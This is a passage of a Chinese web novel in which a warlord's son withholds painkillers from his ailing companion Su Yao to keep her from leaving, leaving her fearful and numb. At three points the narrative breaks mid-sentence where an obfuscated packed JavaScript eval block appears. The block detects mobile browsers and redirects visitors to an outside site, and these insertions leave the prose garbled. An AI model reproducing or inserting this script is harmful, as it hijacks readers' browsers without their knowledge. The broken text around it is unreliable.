“苏小姐怎么会这样？” 金锦看向医生，“是受伤了吗？” 医生斟酌着言辞，“我们没找到病灶，但看结果应该是遭受了强刺激，导致内脏痉挛出血，晕厥是身体的保护机制，所以我们给她注射了镇定剂。” 强刺激…… 萧纵心脏一颤，他慢慢抬起头，“你确定吗？” 苏姚只是在卫生间里呆了几个小时而已，灯没关，门也没封，能有什么刺激？ 难道真的是腿疼？ 可怎么会呢？ 他低声呢喃，满心都是抗拒，他不愿意相信这个答案。 脑海里却控制不住地闪过很多画面，箱子里那一排排的药，苏姚时不时地喊疼，还有她那毫无预兆僵硬的身体…… 那么多零散的细节，汇总成一个可怕的事实，苏姚的腿疾…… 不，不可能。 他下意识反驳了自己，苏姚的腿疾不可能是真的。 如果她的腿真的留下了这么可怕的后遗症，那这些年，她是怎么过来的？ 没有医治，没有关心，每次求助换来的也只是奚落和嘲讽，甚至连止疼药…… 咽喉一阵窒息，他只是想想，都喘不上气来，怎么能是真的？ 所以不可能的，苏姚的腿疾不可能是真的。 “虽然没找到具体原因，但应该就是强刺……” 像是为了反驳他，医生再次开口。 萧纵一口打断他，“你看错了，再查查吧。” 医生愣在原地，惊讶地看着他。 萧纵不理会，弯腰就要把人抱走。 “少帅，” 萧翼却在此时开了口，他从回来后就一直很安静，此时终于忍不住开口，“您把药还给苏小姐吧，不然下一次，她真的会……” “住口！” 萧纵厉喝一声，被萧翼的话戳得心脏生疼，他盯着萧翼的眼睛，一字一顿道，“苏姚没病，听懂了吗？” 萧翼还要说什么，被金锦一把拉开了，“少帅息怒，他知道错了。” 陈施宁也连忙打圆场，“反正人没事了，没事就好，快送苏小姐回去休息吧，对了，” 他想起了什么，将手里一直攥着的纸袋子打开，拿了个手包递过去，“看看这是苏姚的吗？在卫生间发现的。” 萧纵目光移过来，看清那手包上的牙印和血迹时，浑身都僵住了。 这是……苏姚的手包吗？ 虽然他对苏姚的东西不上心，却认得这只包，因为苏姚很喜欢，每次出门都要拿着。 可它不该是这个样子的…… 他抖着手接过来，摩挲着上面的咬痕和血迹，这个包，不该是这样子的…… 第119章 还是不能给她 不知道是镇定剂的药效太强，还是苏姚的身体太虚弱，回房后她竟一直没醒。 可她的眉头却一直皱着，仿佛连昏迷了，都不得安宁。 萧纵抬手，轻轻给她揉了揉，但并没有用处，没多久眉心就又蹙了起来。 他不厌其烦地重复着这个小动作，一遍一遍，直到天边泛起鱼肚白，床上的人忽然就安稳了下来。 “苏姚，你醒了吗？” 他压低声音小心翼翼地唤了一声，苏姚却没给出任何反应。 “苏小姐应该是不疼了。” 萧翼的声音忽然响起来，萧纵身体一僵，几秒后才侧头看过去。 萧翼站在门口，身上的军装已经脱了，看起来是来请罪的。 他张了张嘴，很想让他下去，他现在没心情理会他，可话到嘴边却变了，“为什么这么说？” 萧翼抬脚进来，“苏小姐发作的时候就是这样的，那病来得突然，走得也突然，镇定剂的效果应该比止疼药好一些，所以她才没醒。” 萧纵沉默下去，目光却不自觉看向了窗外，也就是说，这疼，折磨了她整整一宿吗？ 他忽然明白过来，为什么苏姚总是早上洗澡；为什么白天里她总是没精神；为什么那天，萧茵百般恳求，她却没有回应。 手控制不住地又颤抖起来，他俯下身，将床上的人紧紧地拥进怀里。 “少帅，你其实信了，对吗？” 萧翼再次开口，萧纵沉默着没回应。 他信了吗？ 他不知道，他不愿意相信苏姚落下了这么痛苦的后遗症。 可他耳边全是苏姚的声音，有她喊疼的，有她不想出去的，也有那天，她拿枪指着他，声嘶力竭地喊，把药还给她的。 他一直困惑，她为什么要存这么多止疼药。 现在终于有了答案。 可明明，苏姚告诉过他那么多次，她说了那么多次…… 他紧紧抓着苏姚的手，抵在自己额头，过于强烈的情绪，让他浑身每一处毛发都在战栗。 苏姚，苏姚啊…… 短暂的失控后，他强行冷静了下来。 “说说吧。” 他沉声开口，语气和往常无异，“你都知道些什么，又是怎么知道的。” 萧翼没再隐瞒，说了实话：“属下撞见过苏小姐发作。” “你说什么？” 萧纵骤然抬头看过来，他不敢置信，“你亲眼见过？那为什么不告诉我？！” 他不信苏姚，是因为先入为主，可如果萧翼说他亲眼见过，他怎么会不信？ 他一把揪住萧翼的领子，将他逼到了墙角，愤怒让他的情绪几近失控，“你为什么不告诉我啊？” “是属下的错。” 萧翼没有为自己辩解分毫，“请少帅责罚。” 萧纵身上的戾气却忽然散了。 他心里清楚，萧翼隐瞒不报，固然有错，但他才是罪魁祸首。 苏姚明明说了那么多次，可他就是不信她。 明明陪了他六年，六年啊，两千个日夜，怎么就不能信她？ 现在这个局面，是他一手造成的。 身上忽然有些脱力，他松开萧翼的衣领，慢慢后退，重新坐回了床上。 萧翼没有因此而庆幸，只难堪地闭了下眼睛，他也无数次后悔，怎么就能为了给自己省那点麻烦，就对苏姚的苦难坐视不管呢？ “请少帅责罚。” 他再次开口，说得真心实意。 萧纵却没言语，只抬手用力搓了搓脸颊，许久后，才哑着声音开口，“她以前发作，也是这样吗？吃了止疼药，就能好吗？” 萧翼眼底都是懊恼和怜悯，“苏小姐止疼药吃得太多了，效用不太好，上次在学校离开的时候，她吃进去的药都吐了出来，后来是在医院打了镇定剂，才稳住情况的。” 萧纵的心脏又是一颤。 学校门口那次…… 是了，那次他印象深刻。 是他把苏姚撵走的。 他明明知道苏姚很重视萧茵的旁听会的，他明明知道的，却非要觉得她当时的失态，是在争风吃醋。 想起当时苏姚跪在地上捡药的狼狈和痛苦，心脏一阵阵紧缩，窒息的痛苦瞬间弥漫开来。 他不得不抬手锤了两下，呼吸却仍旧艰涩。 怪不得那天她又要去海边，她是真的想走吧。 他闭了闭眼，满腔苦涩，他竟然还有脸问苏姚，为什么要走。 他抖着手，再次抓住了苏姚的手，却连看她一眼都不敢。 “她这病，多久发作一次？” 他嘶声开口，萧翼却摇了摇头，“属下不知道。” 萧纵忍不住抬头，“不知道？” “属下不敢隐瞒，是真的不知道。” 萧翼苦笑一声，“恐怕连苏小姐自己都不知道吧，您可能没注意过，苏小姐每次出门都要拿手包，是因为里面装着药。” 他怎么会没注意到呢？ 两人之前翻脸，不就是因为她去拿了个手包吗？ 当时他还质问他为什么非要去拿药，现在才明白过来，她不拿药怎么行呢？ 那是她救命的东西啊。 心脏止不住的抽搐，他不敢想象，当苏姚满怀期待地去拿药，却发现东西不见了的时候，是什么心情。 脑海里不自觉浮现出苏姚憎恨的那个眼神，他浑身一颤，脸上的血色一瞬间退了下去。 怪不得她会恨他。 他更紧地握住了苏姚的手，仿佛只要放松一下，她就会从自己的世界里消失一样。 苏姚，苏姚…… “少帅，把药还给苏小姐吧。” 萧翼颤声开口，他知道自己这话逾距了，可是他实在是不想再看见苏姚经历一次这种痛苦。 她不该受这种苦。 萧纵指尖一颤，垂眸看着掌心里苏姚的那只手。 上面还有着之前禁闭时咬出来的牙印。 那么深的伤口，这辈子可能都去不掉了。 就像他们之间曾经发生的事情一样。 他几乎可以确定，只要给了苏姚药，她会立刻离开。 可那是他所不能接受的结果。 眼底一片晦涩，他沉默了很久很久，还是摇了摇头，“不行。” 萧翼一惊，“少帅，您不能这样。” 萧纵又亲了亲握着的手，声音低哑，“我会想办法给她止疼的，但药不能给她。” 苏姚，我只有这种方法才能留下你了吧？ 第120章 你是故意的 苏姚这一觉，睡了很久很久。 她做了一个冗长的梦，梦里一个小小的孩子，穿着破烂的衣裳，背着破烂的麻袋，在漆黑的夜色下，沿着长长的，看不见尽头的路，一直在走。 她起初以为，那孩子是萧茵，可等孩子跌倒爬起来的时候，她才认出来，那好像是她自己。 梦里的她愣住了，许久后才想起来，这好像是她五岁那**，那年闹饥荒，爹娘让她去外公外婆家借粮。 两家相距二十里，爹娘没问她认不认路，害不害怕，只给了她一个麻袋，就让她出了门。 当时她太小，没想明白，借粮怎么会让一个那么小的孩子去，就算借到了，她又能背多少。 现在她才反应过来，他们其实没想让她回去。 可她当时不知道，她就一直走，一直走，被狗追得没了鞋，被绊倒磕破了头，也仍旧在走。 走到天亮的时候，她遇见了姚师父。 他把自己送了回去。 然后他就闯祸了，爹娘抱着她追到了戏班子，撒泼耍赖要他把她买了。 那时候的日子都不好过，连妓院都不买人了，更何况是戏班子。 可他们被闹得没办法，连戏都唱不了，最后姚师父还是给了两角钱，把她买了下来。 可那两角钱，是戏班子一天的伙食费，买了她所有人都要挨饿，所以戏班子里没有人喜欢她。 就和这帅府里一样。 她慢慢睁开眼睛，思绪还停留在梦里，过了很久很久，双眼才有了焦距，看见了高高的天花板。 “地府吗……” 她喃喃开口，下意识以为自己已经**。 可她很快就反应过来，这个天花板很眼熟。 她眨了两下眼睛，终于想起来，这是她自己的房间。 脑袋有些混沌，很简单的一件事，她却呆愣了很久才明白什么意思。 “没死啊……” 她呢喃一句，心里却说不出什么感觉，没有庆幸，没有欢喜，麻木得像是经历这些事情的人，不是她一样。 她慢慢坐起来，木然地看向前面，她有些不知道该做什么。 在床上坐了好一会儿，她才想起来，自己要去日历那里，再划掉一天。 她抬手去撩被子，胳膊却一直在抖，明明抓住了被子，却又抖掉了，她盯着看了一会儿，总算反应过来，这算是后遗症。 她之前没有疼得这么厉害过，头一回到这个地步，身体才会这样。 那腿呢？ 她掀开被子看了看自己的腿，没什么异样，她动了一下才发现也在抖。 胳膊连被子都抓不住，那腿还能不能走路呢。 她挪着腿要下地，房门却在这时被忽然打开，萧纵端着个托盘进来，看见她醒了，脸上一喜，随即大步走了进来：“苏姚，你终于醒了。” 苏姚身体猛地一抖，从醒过来开始，就被她刻意忽略着的腿疾发作时的痛苦，在看见萧纵的一瞬间，迅速复活，汹涌袭来。 她再次被拉进濒死的痛苦绝望里，身体控制不住地蜷缩成一团。 萧纵惊得变了脸色，“是不是又发作了？医生！” 他喊了一声，随手将托盘一扔，弯腰试图抱住苏姚安抚她。 怀里的人却抖得越来越厉害，她仿佛一头遭受了极大**的幼兽，明明恐惧到了极点，却根本没有自保的能力。 她只能把自己缩紧一些，更紧一些。 医生就在楼下，听见喊声很快就冲了上来，可苏姚却并不配合检查，医生尝试了几次，却根本无从下手。 “苏姚，冷静一点，你不能这么激动。” 萧纵连忙开口安抚，怀里的人却充耳不闻，她呼吸急促又凌乱，仿佛下一瞬就会窒息。 “这么下去不行。” 医生开口，“苏小姐太激动了，注射镇定剂吧。” 他看向萧纵，等待他的允许。 萧纵身形却是一滞，又要注射镇定剂吗？ 有了止疼药的前车之鉴，他实在是不敢轻易用药，毕竟镇定剂的用量如果掌控不好，后果可比止疼药严重多了。 “苏姚。” 他更紧地抱住了怀里的人，一股浓重的无力和疲惫由内而外散发出来，声音里竟带了几分恳求，“你冷静一点，冷静一点……” 似是感受到了他的难过，怀里的人竟然真的安静了下来。 萧纵仍旧抱着她，许久之后才察觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怀里的人忽然没了动静，颤抖的双臂也慢慢平复下来。 萧纵起初还以为她是听进去了自己的话，连忙垂眸看了过去，却瞧见苏姚正看着自己。 刚才那双满是恐惧和祈求的眼睛，此时逐渐染上麻木。 “你是不肯给我药吗？” 她的声音又轻又缓，却听得人心头一跳，一股不安陡然涌上心头。 “没有不肯。” 萧纵脱口而出，“苏姚，我不是不给你药，我知道你疼，我在想办法了，但是药不能再吃了……” “你不肯给我药……” 苏姚充耳不闻，麻木的重复。 萧纵有些心惊肉跳，苏姚不对劲。 “我给你药。” 他立刻开口，因为急切声音都变了调。 他知道自己不该松口，可不知道为什么，他总觉得自己如果不开口，事情就会变得无可挽回。 “……真的吗？” 苏姚好一会儿才听见了他的话，颤巍巍抬头看过来，“真的给我药吗？” 萧纵脸色有些灰败，手却轻轻地拍着苏姚的后背，声音里都是叹息，“真的给你。” 苏姚怔了怔，一直灰蒙蒙的眸子，终于多了几丝神采。 她没再开口，只是那么期待又忐忑地看着他。 萧纵明白，她在等自己拿药。 萧纵深吸一口气，起身离开，几分钟后就拿了一个药瓶回来。 拿到手里的瞬间，苏姚就打开瓶子看了一眼—— “两片吗？” 她眼神一暗，语气里都是失望。 “我不是要克扣你的药，”萧纵连忙解释，“苏姚，你放心，我会想办法请到最好的医生来给你医治，治不好也会给你止疼，这个药你拿着只是以防万一，不会有机会再吃的，你相信我。” 苏姚没有反应，萧纵只当她是在气头上，不想理会自己，无奈地叹了口气。 手却忽然再次被抓住，他垂眸，就看见苏姚毫无血色的脸上露出一个讨好的笑容，“我相信你，少帅，我相信你的，别生气，你别生气。” 她明明这么说，眼底却全是畏惧。 萧纵心头狠狠一刺，他刚才说的话，苏姚一个字都没信。 她还是觉得，自己一生气就会断了她的药，她也仍旧觉得，自己是故意换药的。 她对自己的恐惧，深入骨髓。 一股无力感陡然涌了上来，他头一回在出事之后，不知道要怎么应对。 “……我没有生气。” 他哑声开口，话里都是疲惫。 苏姚没说话，只是看着他，谨慎地观察着他的神情。 萧纵有些呆不下去了，他实在是看不了苏姚这幅样子。 可检查还是得做。 “给她看看。” 他起身退远了一些。 医生连忙上前来，大约是看出了苏姚的状态不对劲，医生很小心谨慎，唯恐刺激到她。 可她始终很安静，和刚才看见萧纵时的激动模样截然不同。 医生神情复杂地给苏姚做了检查，随后才斟酌着开口，“苏小姐这是应激反应，按理说，只要回避刺激物，应该能慢慢恢复。” 刺激物…… 萧纵看向医生，“刺激物是什么？” 医生没开口，脸色有些尴尬，目光心虚地往他身上瞥了一下。 不是他胡乱猜测，而是萧纵走远之后，苏姚的状态很明显的好了起来。 萧纵看懂了他的眼神，眉头竖起来，“你是说我？” 医生唯恐自己被迁怒，连忙开口，“少帅息怒，我不是专业的，不如还是请个专业的心理医生来看看。” 萧纵仍旧被气得够呛，他明明该是苏姚最亲近的人。 他目光不自觉看向苏姚，她正紧紧抓着药瓶，靠在床头，扭头看着窗外。 他跟着看了一眼，却没发现她在看什么，二楼的高度，位置又限制了视野，不管花园的景致多好，她都看不见的。 直到阳光西斜，她的头也跟着歪了一下，萧纵这才反应过来，她看的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583229|171294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳光。 她明明这么安静，怎么会看见自己就被刺激呢？ 他在心里反驳，却忽然想起来，刚才自己进门的时候，苏姚也是安静的，是在看见他的一瞬间，才陡然变了脸色。 心脏一滞，空的发疼，他杵在原地站了好一会儿才收敛了心神，他抬手掐了掐眉心，“我知道了，下去吧，对了，她腿疼的原因接着给我查。” 医生连忙答应一声，提着药箱走了。 房间内只剩了两人。 萧纵没走过去，隔着远远的，试探性地轻唤了一声：“苏姚。” 苏姚很明显地一抖，用力抓紧了手里的药瓶，骨节一片森白。 她却仍旧转过头来，脸上是讨好的笑，“少帅。” 萧纵心口一闷，真的是他。 他难受地转过身去，咽喉堵得厉害。 我换药真的不是为了要教训你，别这么想我…… 他疲惫至极，有心解释，却无从开口，眼看着苏姚的身体一片紧绷，他还是什么都没再说。 “……你休息吧，有事摁铃。” 他指了指苏姚床头的按钮，那是苏姚昏睡的时候，他让人装上的，直通他的卧室和副楼的医疗室。 苏姚乖巧地应了一声，微笑看着他。 萧纵只好转身走了，等他的身影消失在门外之后，苏姚才喘了口气，整个**眼可见的放松了下来，她仿佛这一刻才真的意识到自己还活着，捂着胸口大喘气，许久才平静下来。 只是看见手里的药时，一股掺杂着难堪的痛苦却再次涌了上来。 她明知道自己遭受的一切都是萧纵故意的，明知道他就是因为她的违逆在惩戒她，可她只能和他摇尾乞怜，卑微地求药。 她真的太疼了，太疼了啊。 她再也不想经历一次没有药的发作了。 就这样吧。 她眼底染上麻木，无神地盯着天花板。 就这么浑浑噩噩，苟延残喘地活着吧，活到，活不下去的那一天…… 第122章 苏姚不见了 萧纵在门外的栏杆上靠了一宿，时不时要贴在门上听一听里面的动静，却并不敢进去，他怕再引起苏姚的应激反应。 好不容易等到天亮，佣人来给苏姚送饭，他才终于找到了机会。 他站在门外，透过开门时的缝隙，速度极快的往里面看了一眼。 他想得很好，他就只看这一眼，看完就走。 苏姚既不会发现他，他也能知道对方现在的状况。 可他没想到，床榻上空空荡荡，苏姚竟然没在。 他心头一紧，“苏姚？” 他绕过女佣，大步进了门，将床上的被子撩开，里头果然没有人，他四处环顾一圈，又去了卫生间，里头却仍旧没有人影。 苏姚的房间和他与萧茵的套间不一样，并不算大，除了卫生间，没有别的地方能藏人，如果这个地方没有，那…… “难道走了？” 他下意识猜测，随后又自己反驳了，“不可能，我一直在门外守着。” 而且，药在自己手里，她应该不敢走。 想起这件事，他心头五味杂陈，既不耻自己的卑劣，却又庆幸，自己用尽手段留下了她。 但人的确不见了。 出于谨慎，他还是给门卫打了个电话，“今天有没有人出去？看见苏姚了吗？” “早上有几位聘请的大夫离开了，之后再没有人走，我们没有看见苏小姐出去。” 大夫？ 萧纵皱了下眉头，“去查查那些大夫的车。” 他觉得应该没有人敢私自带帅府的人出去，可总怕万一。 门卫应了一声，连忙去安排。 萧纵也没闲着，立刻吩咐帅府众人**找人。 管家瞧见这么大阵仗，有些纳闷：“少爷，这是怎么了？” “苏姚不见了，快找人。” 虽然觉得人不会走，可他的心跳仍旧有些乱，连呼吸都急促了起来。 如果人消失的这段时间又发作了怎么办？ “动作快点，任何地方都不要放过。” 他高声吩咐，佣人们顾不得爱惜家具，连忙加快动作。 秦芳年被惊动，拉着萧茵从琴房出来。 前天的动静虽然大，但孩子睡觉沉，并没有意识到出了事，此时满脸茫然：“怎么了？” 萧纵抬手掐了下眉心，“苏姚不见了。” 萧茵小嘴一瘪，“你们又吵架了？” 萧纵无力解释，倒是秦芳年恍然，压低声音和萧茵嘀咕，“我听说苏老板很喜欢离家出走，原来是真的呀？” 萧茵脸上有些挂不住，以前她不想这些，但最近秦芳年说得多了，她也开始觉得苏姚丢人了。 她扭头回了琴房，秦芳年却没有：“少帅需要我帮忙吗？” 萧纵充耳不闻，转身回了楼上，不死心地到处翻找，柜子，床底，他都看了一遍。 “去哪里了……” 他急出了一脑门的汗。 别不是真的又发作了，晕倒在什么地方了吧？ 可是给她药了啊。 他思绪有些混沌，冷不丁一阵香气飘了过来，那是苏姚常用的香皂的味道。 他循着味道看过去，这才瞧见阳台的藤椅子上露出了一点发丝。 原来苏姚在这里。 他大步走了过去，苏姚整个人都蜷缩在椅子里，将身形遮了个严实，他竟没看见。 “都在找你，怎么不说话？” 他开口询问，虽然被急了个半死，可他话里却没有半分质问的意思。 如果苏姚是故意的，那也算是好事。 受了那么久的委屈，总要发泄一下的，故意让他着急也是个法子。 可苏姚并没有回答。 “不想理我吗？” 他叹了一声，绕到了苏姚对面，这才看清楚，苏姚不是故意不理他，而是睡着了。 她靠在椅子上，头微微垂着，身上月白的睡裙有些宽松，衬得她整个人都十分孱弱。 或许不是衬得。 萧纵半蹲下来，握住了她的手腕，其实不知不觉间，苏姚真的瘦了很多，尤其是她的脸色，不知道什么时候起，就是这种不正常的苍白。 冷不丁一瞧，竟要和白色的睡裙融为一体。 他下意识抓紧了苏姚的手，许是动作太大，对方低吟一声，醒了过来。 萧纵手一抖，下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583230|171294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松开了手，怕自己的出现，会让苏姚受到惊吓。 可想躲已经来不及了，他那么大个人，怎么都不可能忽略，所以苏姚的目光很快就看了过来，然后眼神明显的颤动了一下。 萧纵将她的反应尽收眼底，心脏猛地一坠，刚想转身离开，苏姚就笑了起来，主动握住了他的手，“少帅来了。” 她说着要站起来，萧纵在她肩头摁了一把，“歇着吧。” 他垂眸看着苏姚，她的手还在抖，那次没来得及吃药的发作，后遗症比所有人以为的都要严重。 苏姚谨慎地看他一眼，似是在揣测他这话是不是真心的。 “苏姚，别这样。” 他哑声开口。 别对我这么小心翼翼，我们以前不是这样子的。 我不会因为你反驳我，耍点小性子就不给你药的，真的不会…… 百般话语堵在心口，他却一个字都说不出来。 气氛莫名的尴尬，楼下找人的动静却传了上来。 苏姚侧头看了一眼，似是听明白了原因，有些惊讶，“少帅在找我吗？” 萧纵有些尴尬，抬手掐了掐眉心才开口，“我刚才没看见你，以为你出去了。” 苏姚听懂了，他口中的出去，是离家出走的意思。 她扭过头来，透过窗户看向外头无边无际的天空。 她也想走啊，可是…… “少帅放心，我不走了。” 她又露出了讨好的笑。 心里却一片木然，萧纵明知道，拿了她的药，就是掌控住了她，她怎么走得了呢？ “苏姚。” 萧纵猛地抬手遮住了她的脸颊。 他从未如此刻这般觉得苏姚的笑刺目。 是啊，他明知道，苏姚走不了的。 “我把粥端过来，你吃一点吧。” 他找了个借口，连忙逃离了这里。 粥就放在床头的矮柜上，他很快就端了过来，“苏姚，喝一点吧。” 他轻声开口，苏姚却没回应，他走近一看，就见苏姚的头脱力般垂着，就像是前天把人抱起来的时候一样。 心头猛地一颤，粥碗瞬间落了地。 第123章 唐小姐也不喜欢白色了吗 刺耳的碎裂声惊醒了椅子上的人。 苏姚猛地坐直了身体，愣了好一会儿才反应过来自己在哪里，她看了看地面碎裂的碗，又看了看萧纵，“少帅，怎么了？” 萧纵没开口，盯着她看了又看，乱跳的心才安定下去。 她只是睡着了而已，自己在胡思乱想些什么？ 他掩饰性地将发抖的手背在了身后，“没事，不小心把碗摔了，我让人来收拾一下。” 苏姚站起来，“我来吧。” 她蹲下身想去捡碎瓷片，却被萧纵拉了起来，“这些不用你干，去坐着吧。” 苏姚顺从地应了一声，又回了阳台。 中午时分，正是日头最好的时候，苏姚只是往前走了一步，整个人就都被阳光笼罩了起来，身上薄薄的睡裙瞬间透明，只剩了模糊的身影，恍惚间，有种人要碎在光里的错觉。 萧纵的心脏陡然悬了起来，一把抓住了苏姚的手。 苏姚脚步顿住，扭头看过来，神情在光影里模糊不清：“少帅，怎么了？” 她一开口，那股将要失去的危机感便陡然散了。 萧纵的心慢慢落了下去，他张了张嘴，却开不了口说自己刚才的错觉。 他不应该这么患得患失的，传出去，有损威严。 所以他沉默了好一会儿才再次开口，“下次，别穿这件睡袍了。” 苏姚怔了一下，很快就点了点头：“好。” 她低头看了看自己的睡裙，眼底闪过明悟，“是唐小姐，也不喜欢白色了吗？” “什么？” 萧纵被问得一愣，好一会儿才听明白，下意识要反驳，可话到嘴边，却又忽然想起来这是自己之前说过的话。 就在他剿匪回来的那天，他和苏姚小别重逢之后的那天，他说的第一句话就是让她不要再穿红色，因为唐黎不喜欢。 可其实，他只是觉得苏姚穿红色太娇太媚太招人了。 可他不能承认，他不能说自己被苏姚这样的人吸引了注意力，甚至连她穿件衣服都要管束，都要吃醋。 他丢不起这个人，也抹不开脸承认，只好拿唐黎做筏子。 时隔两个月，回旋镖扎在了他身上。 “我不是这个意思……” 他还是开了口，可心脏却一路沉了下去。 当时说的时候不觉得有什么，如今再回想起来，才觉得有多过分。 是他太自以为是，才会把事情做绝。 “苏姚，”他语调有些艰涩，“我当初只是……” “我没想问的。” 苏姚轻轻开口，“话赶话说到这里了，对不起啊，我以后不穿了。” 她讨好地握住了他的手，睁大眼睛看他，“少帅，别生气。” 萧纵指尖猛地攥紧，他不太明白这种时候，苏姚为什么要担心他生不生气，难道真正该生气的人，不是苏姚吗？ “你呢？” 他看着苏姚，莫名对这个答案很急切，“苏姚，告诉我，你有生气吗？” 苏姚木然的看着他，生气？ 她脸上再次浮出笑，“少帅放心，我不生气。” 萧纵被她的神情刺了一下，不生气？ “你为什么不生气？” 他抬手抓住苏姚的肩膀，逼着她看着自己，“苏姚，你为什么不生气？你应该生气的。” 苏姚眼底染上无措—— “对不起，” 她缩了下身体，“我没有和唐小姐攀比的，少帅，你别生气，我真的没有比的……我去换衣服，我现在就去换衣服。” 她说着就要走，萧纵陡然清醒，一把将人拉进了怀里。 巨大的懊悔翻涌上来，他在干什么？ 明知道苏姚现在情绪不稳定，明知道她现在这样都是因为自己，他凭什么冲苏姚发火？ “是我不对，是我的问题……” 他抬手拍打着她的后背，极力试图安抚。 “……没关系。” 苏姚仰头看了过来，“少帅不用道歉，没关系的。” 她身体细微打着颤，眼底却没有情绪。 仿佛身体记住了恐惧，灵魂却已经麻木。 萧纵的呼吸越发艰涩起来，他侧开头，深深吸了一口气，强行岔开了话题，“去晒太阳吧。” 他把苏姚送回了阳台，这才发现阳光很烈，这里其实有些热。 可苏姚额角没有汗，甚至手都是凉的。 他迟疑许久，还是压下了让人回房的话，只喊了人来打扫，自己则重新下去盛了碗粥上来。 苏姚道了声谢，抬手来接，他却没给她。 那天大概是真的太疼了，她的指甲崩断了不少，现在指尖上都是血痂，被白布厚厚地包裹了起来，根本不方便动作。 “我喂你。” 他轻声开口，既是不想她再弄伤自己，也是想趁机让苏姚重新习惯他。 苏姚轻轻应了声好，很顺从。 萧纵却想起了她那句听话，她说了她会听话，她也真的在做。 手里的粥忽然就有些喂不下去了。 他停了手，看着面前的人，“苏姚，你想让我喂你吗？” 苏姚指尖微微一抖，脸上再次露出了熟悉的，讨好的笑，“当然想了，少帅做什么，我都喜欢的。” 端着碗的手颤了颤，萧纵用力到手背青筋凸起。 他知道苏姚说的是假话，可他不能拆穿她，因为后果一定不是他想看见的。 “来，张嘴。” 他没再开口，安静地给苏姚喂粥，等一碗吃完，他拿起帕子给苏姚擦了擦嘴，“还想吃吗？” 苏姚顿了顿，才迟疑地看了他一眼，“少帅觉得呢？” 擦拭嘴角的动作一顿，萧纵死死捏着手里的帕子，许久之后才开口—— “等会再吃吧。” 苏姚轻轻应了一声，脸上看不出表情。 萧纵又想起了在车上时，她仿佛人偶一般的样子。 他用力摇了下头，苏姚只是被疼得怕了，只要他有耐心，这种情绪就会缓解的。 他抬手摩挲着苏姚的嘴唇，很怀念很怀念她使性子的日子。 他会让苏姚知道，他换药真的只是为了她好。 面前的人忽然凑了过来，在他唇角落下清浅的亲吻。 萧纵一愣，眼底陡然迸发出惊喜，“苏姚，你……” 面前的人无波无澜，没有羞涩，没有腼腆，甚至没有任何情绪。 萧纵刚升腾起来的喜悦瞬间撒了。 他想起来了，亲近他是他给苏姚的要求。 她并不是真的想亲吻他，只是不得不这么做。 心口一片冷沉，可他仍旧压着苏姚的发丝，加深了这个亲吻。 苏姚，我们会回到以前的，相信我。 第124章 你还是想走吗 苏姚很疲倦，这次遭受的刺激显然不只是心理上的。 她总是容易睡着，一个不留神就合上了眼睛。 萧纵只是喊个医生的功夫，再回来的时候，她就又睡着了，蜷缩在阳台的椅子上，被阳光照得仿佛要化掉。 他小心翼翼地把人抱回了床榻上。 医生仔细地做了检查，确定苏姚的身体没什么问题之后，轻手轻脚地退了下去。 萧纵却没走，他在床边坐了下来，垂眸静静看着苏姚。 “少爷，” 管家轻轻敲了下门，“刚才医生上来，是不是找到苏姚了？” 萧纵这才想起来，佣人还在到处找人。 “找到了，让人散了吧。” 管家松了口气，神情很有些复杂，犹豫许久才低声开口，“苏姚她，腿上真的有病根吗？” 萧纵心头一颤，另一只手顺着薄被摸了进去，在苏姚腿上的弹痕上摩挲了两下。 他不奇怪管家不信，因为是他先不信的。 他的态度，就是帅府所有人的态度。 “嗯。” 他应了一声，在苏姚腿上又摩挲了两下才把手收回来，转而提起了另一件事，“你去准备一下，选个好日子，我打算给她个名分。” 这是目前他想到的，能最大给苏姚安全感的法子。 有了名分，她在帅府就不再是个可有可无的人，就不必处处谨慎小心。 管家叹了口气，他对萧纵这个决定并不意外，早在知道苏姚要走，萧纵却死活不放手的时候，他就意识到了会有这一天，只是没想到，会这么快。 “少爷，能不能再等等？” 他斟酌着开口，“正头太太没过门，先娶了姨太太，以后人家姑娘要委屈的。” 萧纵指尖一蜷，委屈？ 他当初也是这么想的，不想影响以后的联姻，不想和正头太太之间有隔阂，所以一直拖着苏姚，一拖就是六年。 他垂眸看着床上的人，脑子里都是她当年拐弯抹角问他喜不喜欢自己的样子。 “她也等了很多年了。” 他给苏姚理了下发丝，声音低沉。 管家知道他这是做了决定了，可仍旧想劝，“少爷，恕老奴直言，苏姚这样的出身，她进帅府的时候，就该知道会过什么日子，反正已经等了那么久，再等几年也无妨。” 这叫什么话？ 他扭头看向管家，头一回替苏姚觉得心酸。 苏姚过的什么日子，管家明明是最清楚的，可他却没有丝毫怜悯。 甚至于他现在知道了苏姚的腿疾是真的，知道了她被误会奚落嘲讽了这么多年，他也还是觉得这没什么。 就像他之前一样。 怪不得苏姚想走。 窒息感一股股地涌上来，胸腔里难受地厉害，眼神控制不住的阴鸷狰狞。 “少爷？” 管家被他看得心里发毛，不自觉往后退了一步。 